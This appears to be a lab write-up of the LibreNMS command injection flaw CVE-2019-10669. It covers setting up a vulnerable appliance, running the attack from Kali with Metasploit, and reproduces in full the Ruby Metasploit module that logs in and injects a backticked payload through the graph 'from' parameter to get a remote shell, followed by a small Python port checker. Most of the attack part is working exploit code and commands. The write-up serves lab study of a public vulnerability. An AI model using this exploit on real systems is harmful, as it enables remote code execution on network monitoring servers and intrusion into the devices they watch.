7 minutes
LibreNMS Command Injection Vulnerability
Description
LibreNMS is an open source network monitoring tool for Linux operating systems. It can be used to monitor any Linux distribution, FreeBSD, and even network devices such as Cisco and Juniper. LibreNMS has the ability to auto discover the entire network using many different protocols such as CDP, FDP, LLDP, OSPF, BGP, SNMP and ARP.
A vulnerability against LibreNMS through version 1.47 (CVE-2019-10669) was published on September 9th of this year. This vulnerability allows for command injection in html/includes/graphs/device/collectd.inc.php
where user supplied parameters are filtered with the mysqli_escape_real_string
function. The function does not sanitize command arguments (such as backticks) and this allows for an attack to inject commands into the variable $rrd_cmd
which gets executed via passthru (DATABASE, 2019). This is a severe vulnerability as an NMS device has access to every system on the network that is being monitored. This might allow an attack to stage attacks on other devices and steal information.
How to Setup
An LibreNMS OVA (version 1.46) is available for download from github (https://github.com/librenms/packer-builds/releases/tag/1.46). The credentials to log into the OVA and web interface can be found on Librenms’s official website (https://docs.librenms.org/Installation/Images/). The OVAs are built with virtual box so they work best when used in virtual box. In order to get them to work with VMware Player, some changes need to be made to the OVA in virtual box before it can run in VMware player.
Initial configuration for OVA to work with VMware Player
- Download the LibreNMS Ubuntu OVA from the above website into Virtual Box
- Log in using the credentials provided in the website above
- Apt-get install net-tools to that makes it easier to bring network interfaces up and down
- Navigate to /etc/network and edit the interfaces file
- Add the following lines to the interfaces file to ensure that the network interface comes up when we move to VMware Player. (See screenshot below for reference)
auto ens32
iface ens32 inet dhcp
pre-up sleep 2
- Stop the VM and export the VM as an OVA.
- Load the modified OVA into VMware Player and bring up the network interface
Configuration for OVA for Exploit
- Collectd needs to be set up with LibreNMS for this exploit to work (
apt-get install collectd
) - Open the Collectd config file
/etc/collectd/collectd.conf
and uncomment the global options for the Hostname and BaseDir - Uncomment the lines for the cpu plugin
<Plugin cpu>
ReportByCpu true
ReportByState true
ValuesPercentage false
</Plugin>
- Find the rrdtool plugin and check that it looks like below
<Plugin rrdtool>
DataDir "/var/lib/collectd/rrd"
CacheTimeout 120
CacheFlush 900
</Plugin>
- Save and exit collectd.conf
- open
/etc/collectd/collectd.conf.d/rrdtool.conf
and add
LoadPlugin rrdtool
<Plugin rrdtool>
DataDir "/var/lib/collectd/rrd"
CacheTimeout 120
CacheFlush 900
</Plugin>
- Save and exit, then restart the Collectd service (systemctl restart collecd)
- Add these two lines to the LibreNMS config file,
/opt/librenms/config.php
a. $config['collectd_dir'] = '/var/lib/collectd/rrd';
b. $config['collectd_sock'] = 'unix:///var/run/collectd.sock';
- Save and exit
- Verify that Collectd is set up with LibreNMS by viewing the localhost device in LibreNMS and there should be a Collectd tab on the device’s main page (see screenshot below for reference to the Collectd tab)
How to Run Proof of Concept
- Boot into Kali Linux VM (on the same network as the libreNMS VM)
cd /usr/share/metasploit-framework/modules/exploits/linux/http
vi librenms_collectd_cmd_inject
- copy in ruby code from https://github.com/rapid7/metasploit-framework/pull/12189/files/da98d3d3763c4a352819b6c74ec2078c08b9be52?short_path=89967c7#diff-89967c779a45b41ced3a4d0e33852d0b
- Start Metasploit
use exploit/linux/http/librenms_collectd_cmd_inject
set RHOSTS <ip>
set LHOST <ip>
set USERNAME <user>
set PASSWORD <pass>
run
Screenshots
Kali Linux VM IP Address
LibreNMS /etc/network/interfaces file
LibreNMS IP Address
LibreNMS Collectd Tab on Web Interfaces
Poller – Check if port is open and service is running
Kali Linux – Metasploit Options for Librenms exploit
Kali Exploit run and remote command shell opened
Proof of Concept Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'LibreNMS Collectd Command Injection',
'Description' => %q(
This module exploits a command injection vulnerability in the
Collectd graphing functionality in LibreNMS.
The `to` and `from` parameters used to define the range for
a graph are sanitized using the `mysqli_escape_real_string()`
function, which permits backticks. These parameters are used
as part of a shell command that gets executed via the `passthru()`
function, which can result in code execution.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Eldar Marcussen', # Vulnerability discovery
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-10669' ],
[ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ]
],
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'DisclosureDate' => "2019-07-15",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
])
end
def check
res = send_request_cgi!('method' => 'GET', 'uri' => target_uri.path)
return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')
about_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pages', 'about.inc.php')
)
return Exploit::CheckCode::Detected unless about_res && about_res.code == 200
version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/)
return Exploit::CheckCode::Detected unless version && version.length > 1
vprint_status("LibreNMS version #{version[1]} detected")
version = Gem::Version.new(version[1])
return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50')
end
def login
login_uri = normalize_uri(target_uri.path, 'login')
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200
cookies = res.get_cookies
login_res = send_request_cgi(
'method' => 'POST',
'uri' => login_uri,
'cookie' => cookies,
'vars_post' =>
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302
cookies = login_res.get_cookies
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'cookie' => cookies
)
print_status('Successfully logged into LibreNMS. Storing credentials...')
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
login_res.get_cookies
end
def get_version
uri = normalize_uri(target_uri.path, 'about')
res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200
html = res.get_html_document
version = html.search('tr//td//a')
fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
version.each do |e|
return $1 if e.text =~ /(\d+\.\d+\.?\d*)/
end
end
def get_device_ids
version = get_version
print_status("LibreNMS version: #{version}")
if version && Gem::Version.new(version) < Gem::Version.new('1.50')
dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')
format = '+list_detail'
else
dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device')
format = 'list_detail'
end
dev_res = send_request_cgi(
'method' => 'POST',
'uri' => dev_uri,
'cookie' => @cookies,
'vars_post' =>
{
'id' => 'devices',
'format' => format,
'current' => '1',
'sort[hostname]' => 'asc',
'rowCount' => 50
}
)
fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200
json = JSON.parse(dev_res.body)
fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?
json = json['rows']
fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?
hosts = []
json.each do |row|
hostname = row['hostname']
next if hostname.nil?
id = hostname.match('href=\"device\/device=(\d+)\/')
next unless id && id.length > 1
hosts << id[1]
end
fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?
hosts
end
def get_plugin_info(id)
uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd")
res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
return unless res && res.code == 200
html = res.get_html_document
plugin_link = html.at('div[@class="col-md-3"]//a/@href')
return if plugin_link.nil?
plugin_link = plugin_link.value
plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }]
c_plugin = plugin_hash['c_plugin']
c_type = plugin_hash['c_type']
c_type_instance = plugin_hash['c_type_instance'] || ''
c_plugin_instance = plugin_hash['c_plugin_instance'] || ''
return c_plugin, c_type, c_plugin_instance, c_type_instance
end
def exploit
req_uri = normalize_uri(target_uri.path, 'graph.php')
@cookies = login
dev_ids = get_device_ids
collectd_device = -1
plugin_name = nil
plugin_type = nil
plugin_instance = nil
plugin_type_inst = nil
dev_ids.each do |device|
collectd_device = device
plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device)
break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst)
collectd_device = -1
end
fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1
print_status("Sending payload via device #{collectd_device}")
res = send_request_cgi(
'method' => 'GET',
'uri' => req_uri,
'cookie' => @cookies,
'vars_get' =>
{
'device' => collectd_device,
'type' => 'device_collectd',
'to' => '1563375000',
'from' => "1`#{payload.encoded}`",
'c_plugin' => plugin_name,
'c_type' => plugin_type,
'c_plugin_instance' => plugin_instance,
'c_type_instance' => plugin_type_inst
}
)
end
end
Poller Code
import socket # for socket
import requests
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Socket successfully created")
except socket.error as err:
print("socket creation failed with error %s") % err
# default port for socket
port = 80
host_ip = "192.168.1.246"
# connecting to the server
result = s.connect_ex((host_ip, port))
print("Socket successfully connected")
print(host_ip)
if result == 0:
print("Port {}: Open".format(port))
s.close()
url = "http://" + host_ip
print(url)
response = requests.get(url) # To execute get request
print(response.status_code) # To print http response code
print(response.text) # To print formatted JSON respon
References
bwatters-r7. (2019, September 9). Add module for LibreNMS CVE-2019-10669. Retrieved from Github: https://github.com/rapid7/metasploit-framework/pull/12189/files/da98d3d3763c4a352819b6c74ec2078c08b9be52
DATABASE, N. V. (2019, September 9). CVE-2019-10669 Detail. Retrieved from NATIONAL VULNERABILITY DATABASE: https://nvd.nist.gov/vuln/detail/CVE-2019-10669